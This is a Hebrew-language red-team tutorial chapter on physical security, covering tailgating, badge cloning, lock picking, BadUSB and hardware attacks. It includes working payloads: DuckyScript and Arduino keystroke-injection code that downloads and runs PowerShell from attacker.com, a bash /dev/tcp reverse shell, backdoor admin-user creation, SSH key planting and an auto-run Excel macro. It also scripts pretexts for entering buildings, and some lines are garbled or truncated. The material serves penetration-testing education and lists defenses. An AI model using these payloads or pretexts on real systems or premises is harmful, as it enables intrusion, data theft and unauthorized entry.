

פרק י"ג — Physical Security: גישה פיזית וניצול מכשירים

מדריך מלא למתחילים — בעברית

פרק י"ג — Physical Security: גישה פיזית וניצול מכשירים

מבוא: הפצצה שבחדר השרתים

כל ה-firewalls, ה-IDS, ה-EDR, וה-MFA לא שווים כלום אם מישהו יכול פשוט להיכנס פיזית למשרד ולחבר USB זדוני למחשב.

Physical security היא הציר שרוב ה-security teams מזניחים. בבדיקות red team מלאות (Full Scope), הצוות בודק גם גישה פיזית — ובמקרים רבים, זה הווקטור הקל ביותר.

< "Security is only as strong as its weakest link — and that link is often a door".

חלק א': Physical Intrusion ו-Tailgating

מה זה Tailgating?

Tailgating (או **Piggybacking**) = כניסה לאזור מוגבל על-ידי מעקב צמוד אחרי עובד לגיטימי שפתח את הדלת.

אנשים מחזיקים דלת פתוחה לאחרים מתוך נימוס. זהו אינסטינקט חברתי שניצלים בו.

Pretexting לכניסה פיזית

Pretext = זהות מזויפת שמאפשרת לך להיכנס בצורה לגיטימית:

1. עובד חדש:

"שלום, אני בשבוע הראשון שלי, עדיין לא קיבלתי כרטיס גישה.
תוכל להיכנס איתי לקומה? אני צריך לסיים דוח"

2. מפיץ / delivery:

[חולצה של FedEx/UPS, חבילה בידים]
"שלום, יש לי חבילה לקומה 3 – ה-elevator דרוש?"

3. טכנאי:

[טולבוקס, בגדים עם logo ספק]
"קיבלתי קריאת שירות לAC/רשת/שרתים בקומה הזו"

4. ביקורת בטיחות:

[חולצה עם "Fire Safety", clipboard]
"ביקורת שנתית – צריך לבדוק מטפים בכל הקומות"

5. ספק IT:

[laptop, כרטיס "Cisco"/"Dell"]
"הגעתי להחלפת switch ישן"

Reconnaissance פיזי לפני הכניסה

לפני הכניסה, אסוף מידע:

1. LinkedIn – מה מחלקות? מה העובדים?
2. Google Maps / Street View – חניות, כניסות
3. Job listings – "Cisco model X switch יש לנו" → vendor-מה ה
4. Photos from social media – badge design, uniform colors
5. Glassdoor – "office culture" תיאורים של
6. Google תמונות → "office" + שם החברה

Physical reconnaissance – הסתכל מבחוץ לפני:

- מה הצבע של ה-badges?
- מה כותב עליהם?
- האם יש turnstile (מחסום) או רק דלת?
- באיזו שעה יש הכי הרבה עובדים שנכנסים?
- האם יש מצלמות? איפה?

Badge Cloning

RFID (Radio Frequency Identification) — הטכנולוגיה ברוב כרטיסי הגישה:

- 125kHz (HID, EM4100) — ישן, קל מאוד לשכפל

• 13.56MHz (MIFARE, iClass, DESFire) — חדש, יותר מאובטח

Proxmark3 — כלי ה-RFID הסטנדרטי:

```
# Proxmark3 Easy – עוצמתי, זול יחסית,
#
# התחבר:
proxmark3 /dev/ttyACM0

# קרא כרטיס 125kHz HID:
# (הנה Proxmark ליד כרטיס)
lf hid read

# פלט:
# HID Prox TAG ID: 2006ec0d11 ( 1101 / 17145)
# Format Len: 35bit
# Facility Code: 17
# Card Number: 1101

# שכפל ל-writable card:
lf hid clone -r 2006ec0d11

# קרא MIFARE Classic (13.56MHz):
hf mf autopwn

# Brute-force MIFARE keys:
hf mf chk --1k

# (לכוד נתונים ממרחק גדול) Sniff:
lf sniff
```

Flipper Zero — כלי multi-tool:

הוא מכשיר קטן (גודל כרטיס ביקור) שיכול Flipper Zero:

- לקרוא/לכתוב RFID 125kHz
- לקרוא/לכתוב NFC (13.56MHz)
- IR transmitter (שלטים)
- Sub-GHz (garage doors, car fobs)
- Bad USB
- iButton

שימוש לread כרטיס:

הנח כרטיס → שמור → Read → RFID

→ שלח (emulate) → הנח ליד reader

RFIDler — כלי חינמי:

```
# Software defined RFID
```

```
# אפשר לקרוא/לכתוב ב-125kHz
```

הגנה: ארגונים שמשתמשים ב-DESFire EV2/EV3 עם Mutual Authentication הרבה יותר קשה לכפלות.

Lock Picking

Lock Picking = פתיחת מנעול בלי המפתח, תוך ניצול האופן שבו המנעול עובד.

איך עובד מנעול פין:

מנעול פין מכיל מספר פינים (לרוב 5-6).
כל פין מורכב מ-2 חלקים: lower pin + driver pin.
כשהמפתח הנכון מוחדר, הפינים מסתדרים ב-"shear line" (קו החיתוך)
ומאפשרים לcylinder להסתובב.

כלים:

- **Tension Wrench** — מפעיל לחץ על ה-cylinder
- **Hook Pick** — מרים פינים בודדים
- **Rake** — מנסה להרים כמה פינים בו-זמנית בתנועה אחת

Single Pin Picking (SPP):

1. הכנס tension wrench לחור המנעול – הפעל לחץ קל שמאלה
2. הכנס hook pick
3. מצא פין שתחת לחץ (binding pin)
4. הרם אותו עד שמרגיש click קטן
5. עבור לפין הבא
6. אחרי כל הפינים – ה-cylinder נפתח

:Raking

1. הכנס tension wrench
2. הכנס rake (City Rake, Snake Rake)
3. תנועה מהירה קדימה-אחורה תוך כדי לחץ קל
4. נסה לסובב – לפעמים עובד תוך שניות

:Bump Key

Bump Key = מפתח שנחתך עם כל הפינים במקסימום עומק
מוחדר, ואז מכה מהירה → הפינים "קופצים" לשנייה
אפשר לפתוח מנעול רגיל תוך שניות

הגנה: Anti-bump cylinders (ABLOY, Medeco, Mul-T-Lock)

:Shim Attack (מנעולי תלייה):

מנעולי תלייה עם latch (לatch חד-כיווני):
- שים ניר דק (shim) בין ה-shackle ל-body
- לחץ ופתח
- עובד על כ-60% ממנעולי התלייה הנמכרים

:Bypass Tools

```
# Loid (נייר דק) – spring latch פתח:
# הכנס בין דלת לframg, הסט את ה-latch

# Under Door Tool – handle דלתות עם:
# הכנס מתחת הדלת, hook את הhandle מבפנים ומשוך

# Over The Door Tool – latch פתח – מלמעלה

# Camera + Lights – ראה מה בפנים
```

חלק ב': Rubber Ducky ו-BadUSB

מה זה Rubber Ducky?

USB Rubber Ducky הוא מכשיר USB שנראה כמו USB flash drive רגיל, אבל בפועל הוא **HID** (Human Interface Device) — כלומר, המחשב חושב שחובר לוח מקשים.

ברגע שהוא מחובר, הוא מתחיל להקליד **פקודות** — בצורה הרבה יותר מהירה ממה שאדם יכול להקליד. בתוך שניות הוא יכול להריץ PowerShell, להוריד payload, ולהקים reverse shell.

DuckyScript — שפת Rubber Ducky

```
REM Rubber Ducky Script
REM reverse shell ומריץ PowerShell פותח

DELAY 1000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden -ep bypass -c
STRING "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/rs.ps1')"
ENTER
```

פקודות DuckyScript:

```
REM          # הערה
DELAY        # מילישניות X המתן
STRING       # הקלד string
ENTER        # לחץ Enter
GUI r        # Windows+R (הפעל)
GUI l        # Windows+L (נעל)
CTRL c       # Ctrl+C
ALT F4       # Alt+F4
SHIFT TAB    # Shift+Tab
```

דוגמאות:

```
REM Windows – הוסף backdoor user
DELAY 1000
GUI r
DELAY 500
STRING cmd
CTRL SHIFT ENTER
DELAY 800
ALT y
DELAY 500
STRING net user hacker Password123! /add
ENTER
STRING net localgroup administrators hacker /add
ENTER
STRING exit
ENTER
```



```
REM Windows – הורד והרץ payload
```

```
DELAY 2000
```

```
GUI r
```

```
DELAY 400
```

```
STRING powershell
```

```
ENTER
```

```
DELAY 800
```

```
STRING powershell -WindowStyle Hidden -ep bypass -c "IEX (iwr 'http://10.10.10.100/ps.ps1
```

```
ENTER
```

```
REM macOS – reverse shell
```

```
DELAY 2000
```

```
GUI SPACE
```

```
DELAY 500
```

```
STRING terminal
```

```
ENTER
```

```
DELAY 1000
```

```
STRING bash -i >& /dev/tcp/10.10.10.100/4444 0>&1
```

```
ENTER
```

```
REM Linux – add SSH key
```

```
DELAY 1500
```

```
CTRL ALT t
```

```
DELAY 800
```

```
STRING mkdir -p ~/.ssh && echo "ssh-rsa AAAA...PUBLIC_KEY..." >> ~/.ssh/authorized_keys
```

```
ENTER
```

כלים שימושיים

Hak5 Rubber Ducky (המקורי):

- מוצר מסחרי של Hak5
- מהיר מאוד (1000 strokes/sec)
- DuckyScript

- מחיר: ~\$50

:Hak5 USB Rubber Ducky (2022 Gen2)

- DuckyScript 3.0 עם loops, conditionals
- פונקציות, variables
- Multi-OS detection

:Flipper Zero Bad USB

- DuckyScript תומך
- נוח יותר לניהול payloads

:O.MG Cable

- כבל USB שנראה לגמרי נורמלי!
- בפנים: WiFi chip + microcontroller
- מתחבר דרך WiFi לתוקף
- Keystroke injection, keylogging
- מחיר: ~\$180

:DigiSpark / Arduino

```
// DIY BadUSB על Arduino Pro Micro
#include <Keyboard.h>

void setup() {
    delay(2000);
    Keyboard.begin();

    // Windows+R
    Keyboard.press(KEY_LEFT_GUI);
    Keyboard.press('r');
    delay(100);
    Keyboard.releaseAll();

    delay(500);
    Keyboard.print("powershell");
    Keyboard.press(KEY_RETURN);
    delay(1000);

    Keyboard.print("IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/rs");
    Keyboard.press(KEY_RETURN);

    Keyboard.end();
}

void loop() {}
```

חלק ג': USB Baiting ו-Drop Attacks

USB Drop

USB Drop = פיזור USB drives זדוניים בחניה/כניסה של ארגון בתקווה שיעובד יכניס.

מחקר נעשה שם קבצים מפתים על USB:

"Executive_Salaries_2024.xlsx"

"HR_Confidential_Layoffs.pdf"

"Security_Assessment_Report.pdf"

כשפותחים macro/exploit → payload → מופעל

דוגמה payload ב-Excel Macro:

```
' Auto-Open:
```

```
Private Sub Workbook_Open()
```

```
    Shell "cmd /c powershell -wp hidden -c ""IEX (iwr 'http://attacker.com/p.ps1').Content"
```

```
End Sub
```

USB Charging Cable Trap

מקום: כנסים, בתי מלון, חדרי ישיבות

כבל USB ל-Type-C נראה רגיל לחלוטין

בפנים: 0.MG Cable

המטרה: עובד שמטען את הטלפון/laptop שלו

LAN Turtle

connectivity: ויוצר USB port שמכשיר שנוכח ל – Hak5 LAN Turtle

- Network MITM

- Reverse Shell

- SSH access מחוקר

- נראה כמו USB-Ethernet adapter רגיל

חלק ד': Hardware על Physical Attacks

Cold Boot Attack

Cold Boot Attack = לאחר שהמחשב כובה/מאופס, ה-RAM עדיין שומר נתונים לכמה שניות/דקות. אם מדפיסים את ה-RAM מהר מספיק — אפשר לחלץ מפתחות הצפנה!

```
# כלים:
# msrmdump – boot מ USB I-dump RAM
# volatility – RAM dumps ניתוח

# Mitigations:
# Bitlocker עם PIN (לא רק TPM)
# Full-disk encryption
# Memory encryption (AMD SEV)
```

Evil Maid Attack

Evil Maid = גישה פיזית למחשב נעול ללא השגחה.

```
תרשים:
1. יעד עוזב laptop בחדר מלון
2. "המלצרית" (evil maid) נכנסת
3. מחברת USB device
4. מפעילה boot מ-USB לכמה שניות
5. מותקן Bootkit
6. בפעם הבאה שהיעד מפעיל laptop – keylogger פעיל
```

כלים:

```
# Facedancer – USB attack framework
# PCILeech – DMA attack (Thunderbolt/PCIe)
# Pass-the-Hash attack via physical access to RAM

# Mitigations:
# Bitlocker עם Pre-Boot PIN
# Disable USB boot
# Physical security (laptop cable lock)
# Screen lock + BIOS password
```

PCIe/Thunderbolt DMA Attack

```
# Thunderbolt 1/2/3 = PCIe access
# Device יחיצוני יכול לקרוא/לכתוב כל זיכרון!

# PCILeech:
# Windows target:
pcileech.exe dump -out memory.raw

# macOS (לפני Thunderbolt Security):
DMA read ישירות #

# Mitigations:
# macOS: System Preferences → Security → Thunderbolt Security Level: "Require user approval"
# Windows: Bitlocker + Thunderbolt Access Control
```

חלק ה': Wireless Physical Attacks

WiFi Pineapple

WiFi Pineapple הוא מכשיר Hak5 שמדמה נקודות גישה (AP) כדי לבצע MITM.

```
# WiFi Pineapple Mark VII
# מחבר ל-web interface ב-172.16.42.1

# PineAP – מדמה כל SSID מחפשים:
# כשטלפון שואל "איפה ה-WiFi שלי?" → Pineapple עונה "פה!"

# Modules:
# Deauth – מגיטמי AP-מנתק מכשירים מ-
# Client Tracker – רישום clients
# Logger – שמור URLs, cookies
# SSL Strip – הסר HTTPS

# כך עובד:
# 1. Pineapple מדמה "CoffeeShop_WiFi"
# 2. טלפון מתחבר אוטומטית (כבר היה שם)
# 3. כל traffic עובר דרך Pineapple
# 4. MITM – ראה credentials, sessions
```

Bash Bunny

.USB attacks של **Bash Bunny** = Swiss Army Knife

```
:attack הגדרת #  
# /payloads/switch1/payload.sh  
  
TARGET_HOSTNAME="WORKSTATION"  
  
function run_attack() {  
    # HID mode – keyboard  
    ATTACKMODE HID  
    RUN WIN "powershell -WindowStyle Hidden -ep bypass"  
    QUACK STRING "IEX (iwr 'http://ATTACKER/p.ps1').Content"  
    QUACK ENTER  
  
    # RNDIS_ETHERNET mode – network  
    ATTACKMODE RNDIS_ETHERNET  
    # עכשיו אתה רשת חיצונית שה-PC מתחבר אליה  
    # ARP spoofing, MITM  
}
```

חלק ו': Social Engineering פיזי

(הסברנו בפרק Social Engineering, אבל נזכיר הנקודות הרלוונטיות לphysical)

Shoulder Surfing

הסתכל מעל כתפו של יעד:

- PIN codes ב-ATM / doors
- Passwords שמוקלדות
- Screen content (מסמכים, emails, code)

מיטיגציה: Privacy screens, הרגל ל"שמר על סביבה"


```
# מה תמצא באשפה:
- Printouts עם employee info
- Old org charts
- Invoices with vendor/customer info
- Recycled paper with passwords
- Old hardware (printers with stored documents!)

# מדפסות ישנות = אוצר!
# פנימיות: cache של documents
# אחזר מה-NVRAM של מדפסת ישנה
```

Vishing (כבר כוסה בפרק SE)

חלק ז': Hardware Keyloggers

```
# Hardware Keylogger = למחשב keyboard מכשיר קטן שמתחבר בין
# USB Keylogger: USB keyboard port בין
# PS/2 Keylogger: ישן, אבל עדיין קיים
# WiFi Keylogger: WiFi-ב keystrokes שולח

# KeyGrabber – מסחרי, flash memory מובנה
# KeyCarbon – קטן מאוד, כמעט לא ניתן לזיהוי
# AirDrive – WiFi real-time שולח

# מה לחפש (בתור מגן):
# - מכשיר קטן בין keyboard cable למחשב
# - שנראה "עמוס" מהרגיל USB Port
# - (יש) ארוך מדי Cable (loop יש)

# Defense:
# Regular physical inspection
# USB port blockers
# Endpoint DLP
```

חלק ח': Physical Penetration Testing — Methodology

שלב 1: Scoping

```
מה מותר לבדוק?  
- אילו בניינים/קומות?  
- גישה פיזית בלבד, או גם מחשבים?  
- האם badging כלול?  
- של עובדים Social engineering?  
- מה Window (שעות)?  
- Emergency contact?  
- מה Get Out of Jail Free card (מכתב authorization)?
```

שלב 2: Reconnaissance

```
# External:  
- Google Maps / Street View  
- LinkedIn – עובדים, departments  
- Job listings – tech stack  
- Social media – office photos  
- Security cameras (Shodan: has_screenshot:true "lobby")  
  
# In-person (לפני המבחן):  
- "Walk-by" – entry points הסתכל על  
- Count cameras  
- Badge design / color  
- Uniform style  
- עובד מה שעה נכנסים?  
- מה נדרש להיכנס? Badge בלבד? Guard?
```

תרחישים נפוצים לentry:

A) Tailgating בשעת rush (בבוקר 8-9)

B) Delivery pretext + package

C) IT vendor pretext

D) Cloned badge (אם הצלחת לסרוק)

E) Distraction + entry

Always have:

- Authorization letter (Get out of jail free)

- Fake business cards ל pretext מתאימים

- Appropriate attire

- Confidence

שלב 4: Post-Entry Actions

```
# ברגע שנכנסת (בסביבה מאושרת לבדיקה):  
# 1. תעד מה ניתן לראות/לגשת  
# 2. חבר Rubber Ducky / LAN Turtle אם מאושר  
# 3. נסה להגיע לאזורים נוספים (server room, C-suite)  
# 4. חפש info leak (whiteboards, documents, screens)  
# 5. בדוק network ports פתוחים  
  
# תיעוד:  
# - תמונות של entry points  
# - מצלמות שגולות / blind spots  
# - מידע גלוי על לוחות לבנים  
# חשופים Devices -  
  
# אל תשאיר עקבות שניתן להאשים בהם  
# אל תגע במידע ללא הרשאה  
# Document everything  
  
# Emergency exit:  
# אם נתפסת → הצג authorization letter מיד  
# שמור קשר עם POC בארגון
```

```
# Physical Penetration Test Report:
```

```
# 1. Executive Summary
```

```
# - כמה ניסיונות entry? כמה הצליחו?
```

```
# - עד לאן הגעת?
```

```
# - מה הסיכון?
```

```
# 2. Technical Findings
```

```
# - Entry vector שהצליח (tailgating, badge clone)
```

```
# - Cameras blind spots
```

```
# - Physical access לserver room (Y/N)
```

```
# - הצלחת לחבר ל Devices
```

```
# 3. Evidence
```

```
# - Photos (הסכמה ב) (eyscoping)
```

```
# - timestamps
```

```
# - Network captures מ-LAN Turtle
```

```
# 4. Recommendations
```

```
# - Badge system (RFID upgrade)
```

```
# - Turnstiles דלתות במקום
```

```
# - Security guard awareness training
```

```
# - USB port blockers
```

```
# - Camera coverage audit
```

חלק ט': Countermeasures — הגנה מפני Physical Attacks

בניין ורשת פיזית

```
# Layered Physical Security:
# 1. Perimeter – שמירה בכניסה – גדר,
# 2. Building Entry – turnstile + badge, לא דלת
# 3. Floor Access – badge קומה לכל נפרד
# 4. Sensitive Areas – MFA + badge (server room, C-suite)
# 5. Device – Full Disk Encryption, BIOS password

# Anti-tailgating:
# - Turnstiles (מחסומים) שלא מאפשרים שניים
# - Security awareness training ("Challenge strangers!")
# - Mantrap – (אחת לא נפתחת לפני שהשנייה נסגרת) – חדר נעילה בין שתי דלתות

# Badge System:
# - RFID (לפחות MIFARE DESFire EV2) עדכני
# - Photo ID על badge
# - Visitor badges שונים בצורה/צבע
# - Automatic deactivation עוזב כשעובד
```

USB Security

```
# Block USB ports:
# - Physical blockers
# - Windows Group Policy: HKLM\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies → W
# - DLP solutions (Carbon Black, Symantec)

# Application Whitelisting:
# רק HID devices ממספרים vendor/product מאושרים

# Detection:
# Sysmon – log USB device connections
# EventID 2003 – Mass storage device plugged
```

```
# WiFi:
# - WPA3 Enterprise (802.1X)
# - Regular wireless surveys – rogue APs מצא
# - WIDS (Wireless IDS)

# Bluetooth:
# - Disable Bluetooth כשלא בשימוש
# - Non-discoverable mode
# - BLE monitoring

# RFID Shield:
# - RFID blocking wallet/sleeve
# - פחות רלוונטי בעידן proximity readers
```

כלי Physical Red Team — סיכום

מחיר	שימוש	כלי
\$50~	RFID read/clone/emulate	Proxmark3 Easy
\$170~	RFID, NFC, RF, BadUSB, IR	Flipper Zero
\$180~	Keystroke injection over WiFi	O.MG Cable
\$60~	HID payload	USB Rubber Ducky
\$200~	WiFi MITM	WiFi Pineapple Mark VII
\$120~	Multi-attack USB	Bash Bunny
\$55~	Covert network pivot	LAN Turtle
\$40~	Long-range WiFi attacks	Alfa WiFi Card
\$30~	Lock picking	Lock Pick Set
\$50~	Keystroke capture	Hardware Keylogger

סיכום הסדרה

מזל טוב! עברת דרך כל הסדרה של Red Teaming:

```
01 - מבוא ל-OS ומערכות הפעלה
01b - Windows ל-Red Teamers
02 - Linux ל-Red Teamers
03a - יסודות רשתות ותקשורת
03b - רשתות מעשי
04 - OSINT | Reconnaissance
05 - Network Pentesting
06a - Web App Fundamentals
06b - Web App Exploitation
07 - Social Engineering
08 - Active Directory Attacks
09a - Post-Exploitation: Privilege Escalation
09b - Post-Exploitation: C2, Persistence, Exfiltration
10 - Cloud Red Teaming
11 - Malware Development
12 - Mobile Red Teaming
13 - Physical Security ← אתה כאן
```

המשך הדרך:

- **Bug Bounty** — חפש vulnerabilities בתוכניות (HackerOne, Bugcrowd) Bug Bounty
- **CTF** — HackTheBox, TryHackMe, CTFtime.org
- **Certifications** — OSCP, CEH, GPEN, PNPT
- **Lab Setup** — בנה home lab עם VMs
- **Stay Current** — עקוב אחרי CVEs, Exploit-DB, Exploit-DB, Twitter/X security community